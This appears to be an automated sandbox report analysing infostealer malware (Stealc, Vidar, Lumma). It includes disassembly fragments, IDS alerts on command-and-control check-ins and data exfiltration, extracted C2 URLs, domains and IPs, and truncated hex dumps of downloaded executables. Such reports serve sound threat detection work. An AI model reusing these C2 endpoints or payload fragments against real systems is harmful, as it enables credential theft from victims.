Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	9_2_00420C4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	9_2_00446C5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	9_2_00405C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	9_2_0040FC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	9_2_00444C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 69F07BF2h	9_2_00427D03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ecx+edx+02h], 0000h	9_2_00449D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	9_2_00449D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp eax, C0000004h	9_2_0041DDFF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_00443DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0042EE40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp eax	9_2_00415E11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx eax, byte ptr [ebx+edx-06h]	9_2_00406E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx esi, byte ptr [edx+ebp]	9_2_00406E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov esi, ebx	9_2_00448F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp]	9_2_0040DFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	9_2_0040DFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	9_2_00426FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_00433F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ebx], al	9_2_00433F92

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49775 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2054495 - Severity 1 - ET MALWARE Vidar Stealer Form Exfil : 192.168.2.4:49777 -> 45.132.206.251:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49775 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.4:49775
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49775 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.4:49775
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49775 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 49.12.197.9:443 -> 192.168.2.4:49744
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST : 192.168.2.4:49742 -> 49.12.197.9:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 49.12.197.9:443 -> 192.168.2.4:49743
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49779 -> 104.21.16.12:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49767 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49779 -> 104.21.16.12:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49767 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49776 -> 104.21.17.174:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49786 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49786 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49776 -> 104.21.17.174:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49770 -> 172.67.184.196:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49792 -> 104.21.21.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49770 -> 172.67.184.196:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49772 -> 104.21.18.193:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49798 -> 104.21.16.12:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49792 -> 104.21.21.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49772 -> 104.21.18.193:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 49.12.197.9:443 -> 192.168.2.4:49795
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49798 -> 104.21.16.12:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49791 -> 104.21.18.193:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49791 -> 104.21.18.193:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49766 -> 104.21.77.132:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49784 -> 104.21.77.132:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49784 -> 104.21.77.132:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49787 -> 172.67.152.190:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49787 -> 172.67.152.190:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49766 -> 104.21.77.132:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 49.12.197.9:443 -> 192.168.2.4:49793
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49794 -> 104.21.17.174:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49794 -> 104.21.17.174:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49774 -> 104.21.21.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49774 -> 104.21.21.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49789 -> 172.67.184.196:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49789 -> 172.67.184.196:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 49.12.197.9:443 -> 192.168.2.4:49806
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 49.12.197.9:443 -> 192.168.2.4:49807
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49769 -> 172.67.152.190:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49769 -> 172.67.152.190:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: questionsmw.stor
Source: Malware configuration extractor	URLs: mysterisop.site
Source: Malware configuration extractor	URLs: soldiefieop.site
Source: Malware configuration extractor	URLs: treatynreit.site
Source: Malware configuration extractor	URLs: absorptioniw.site
Source: Malware configuration extractor	URLs: snarlypagowo.site
Source: Malware configuration extractor	URLs: abnomalrkmu.site
Source: Malware configuration extractor	URLs: chorusarorp.site
Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199780418869

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 02 Oct 2024 03:19:53 GMTContent-Type: application/octet-streamContent-Length: 391072Last-Modified: Tue, 01 Oct 2024 13:44:41 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fbfcc9-5f7a0"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 20 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 a0 05 00 00 06 00 00 00 00 00 00 ee be 05 00 00 20 00 00 00 c0 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 06 00 00 02 00 00 a2 22 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 05 00 53 00 00 00 00 c0 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 d1 05 00 28 26 00 00 00 e0 05 00 0c 00 00 00 60 bd 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 9e 05 00 00 20 00 00 00 a0 05 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 c0 05 00 00 04 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 05 00 00 02 00 00 00 a6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 be 05 00 00 00 00 00 48 00 00 00 02 00 05 00 40 ab 05 00 20 12 00 00 03 00 02 00 12 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 db 1f 5b 28 3c d4 73 54 10 77 2f a8 15 ea 9c c3 cd 78 7e 49 a5 1e d7 0f f4 a7 54 1e ec 97 54 35 51 3e d1 7a b9 93 2a f6 a2 f1 a1 62 fc 53 d6 a3 2f 8b 8d 87 8b 32 45 99 77 cb 3e ae a1 2f 8a 64 97 aa 74 5f f0 73 bf b2 97 bd 8e cf 07 88 6f 3e bd e6 ab cd b7 13 b9 e4 eb fd e3 0a ae f5 f0 8f b2 55 56 93 53 f9 99 0d dd bc ef 61 35 eb e4 4a 4b bc b1 bf a2 59 85 77 2e 8e 08 af 13 7f 23 89 17 ab df b4 73 e5 a8 22 b3 f6 7f e6 84 2d 64 04 08 2d 37 8d 9d 61 76 bc f6 6e d7 92 5c d4 09 fb 07 5d a9 df 1e 1e 8d 2e 9b 0a 8f b6 ee c3 4c 1d 14 ea 74 c9 13 ee 3a 32 6f 31 19 21 ad 12 c2 86 c1 f4 2a af fc 71 39 5f 4f b0 fd 06 0b a1 91 4b b3 5e 8d e1 f4 13 22 d3 c8 c3 29 30 da fe 2e 33 b0 92 24 ed 35 89 2c b5 8a 7d cc ff eb e0 9a 33 63 78 f5 7a b3 b5 ab 09 12 32 49 7d c7 fc 17 8f e1 dd d8 98 49 01 65 0a c9 1d 24 f1 84 98 20 2e d2 a0 8f bd d3 56 20 c3 ef 4f 47 80 bb f7 55 61 1e 24 2b d9 0e ef 25 5c 00 42 2d 9a 55 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 02 Oct 2024 03:19:56 GMTContent-Type: application/octet-streamContent-Length: 423840Last-Modified: Tue, 01 Oct 2024 13:44:45 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fbfccd-677a0"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 20 06 00 00 06 00 00 00 00 00 00 ee 3e 06 00 00 20 00 00 00 40 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 02 00 00 a1 95 06 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 3e 06 00 53 00 00 00 00 40 06 00 42 02 00 00 00 00 00 00 00 00 00 00 78 51 06 00 28 26 00 00 00 60 06 00 0c 00 00 00 60 3d 06 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 1e 06 00 00 20 00 00 00 20 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 40 06 00 00 04 00 00 00 22 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 06 00 00 02 00 00 00 26 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 3e 06 00 00 00 00 00 48 00 00 00 02 00 05 00 40 2b 06 00 20 12 00 00 03 00 02 00 12 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 42 2c d1 93 c8 4a 65 ad 38 b7 18 2a c6 c0 85 02 b3 e5 ca 58 66 dc e9 33 f5 0c 5a 6d 97 10 f4 76 07 24 3a be 9f dc 72 84 b7 89 d0 ea 1f 58 f2 1e 82 4d be cd 36 27 34 b2 db b6 2c ab 4f 97 54 df 13 fc 21 b2 07 42 0c da bf 43 98 7c f4 98 0d 9b 5b 05 7b 32 ae 79 e2 92 81 64 3f 31 64 32 a6 6d b5 be 84 92 cf 08 fd 55 35 41 39 fb 33 f1 42 dd 5b 6c d7 74 a6 a7 50 33 66 c5 41 2a 90 79 fb 7a 24 fd 5b 59 69 7f 06 96 ca 88 08 ca e7 11 99 a0 c1 f5 f4 5b e1 e1 76 ea 11 5c b7 1a 42 71 a1 ef 67 11 5e e9 91 ee f9 02 88 70 64 92 93 db 8c c5 7b 04 9f b0 92 74 05 7d e5 79 2a b4 e8 af 5b 50 c8 04 dc 0a 76 07 79 1e 48 07 20 ac e5 40 e7 27 32 e8 5e ab f8 34 dc 68 be b8 37 21 d4 b6 4f 80 77 d5 bc 4a 78 b5 ab 1d 69 e3 9e a4 e8 1a ab 76 a8 14 de b5 3f a1 47 d7 a4 36 5e e7 f9 05 60 ff 71 38 da c2 4e 5a b5 ab 2d 97 54 9a bf 96 75 ef 9a d0 92 f2 57 31 7a 1e 8b a0 fc 01 4b c7 b6 81 5f 9c c1 90 2a ff 16 37 1b 2d cb 1b a1 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Wed, 02 Oct 2024 03:19:58 GMTContent-Type: application/octet-streamContent-Length: 344992Last-Modified: Tue, 01 Oct 2024 13:44:35 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66fbfcc3-543a0"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0b f8 fb 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ec 04 00 00 06 00 00 00 00 00 00 ee 0a 05 00 00 20 00 00 00 20 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 05 00 00 02 00 00 d7 37 05 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 0a 05 00 53 00 00 00 00 20 05 00 42 02 00 00 00 00 00 00 00 00 00 00 78 1d 05 00 28 26 00 00 00 40 05 00 0c 00 00 00 60 09 05 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 ea 04 00 00 20 00 00 00 ec 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 42 02 00 00 00 20 05 00 00 04 00 00 00 ee 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 05 00 00 02 00 00 00 f2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 0a 05 00 00 00 00 00 48 00 00 00 02 00 05 00 40 f7 04 00 20 12 00 00 03 00 02 00 12 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b3 b7 9b 2b 3e 4a 5d 96 cd ba 79 c2 0f 20 39 99 90 3d f3 1a fb 35 0c de 74 1b b6 a3 53 ed f2 34 3b 67 bd 2f 82 6b 1e 54 00 6c 9c 11 3e 47 50 f6 4f 43 95 42 07 24 d6 82 18 8d 21 9b 78 56 05 f5 d4 58 96 2c 9c 37 df 44 fd 71 52 59 da 96 d8 5c f0 38 09 fd 60 4d 1e 63 f6 1b a9 df 36 80 a4 a1 60 ec 98 16 98 44 36 62 79 f2 0e 65 3e 8b 54 79 8e 09 9b ed 22 6c 5a 44 3b bb 0f 14 36 86 ef d7 c6 b0 46 4e 36 54 c1 5e 3a 9e d1 a2 8d 7a eb ad 5f 18 27 89 01 5f 8f 13 d2 7f c4 cc ab 72 3b 80 1c c7 9e 6e 38 d4 0c 0b 55 61 a0 b3 3c de 44 38 cd b7 d3 34 f1 4f 76 5a d7 32 eb 6a 3b 6f 85 39 e4 e0 df a1 3b f7 61 ac 7d b9 79 81 52 d9 ae 89 04 cf d7 00 5c 8b 85 89 89 f0 c6 a2 60 32 93 66 76 ad 4a 02 43 96 2a 44 87 63 75 96 d5 27 dd 5e 2c 62 a3 ec 1c e5 05 1e 46 5e 49 86 02 65 04 d0 48 ae 4e 21 cd b4 8e ce 98 26 be ee 78 e5 12 44 8f ed c9 aa 02 22 82 91 e0 35 e9 06 e7 c4 bb 7a 03 4a a0 b1 73 45 b9 a6 88 d1 ea f6 c0 48 c
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 02 Oct 2024 03:20:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 02 Oct 2024 03:20:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 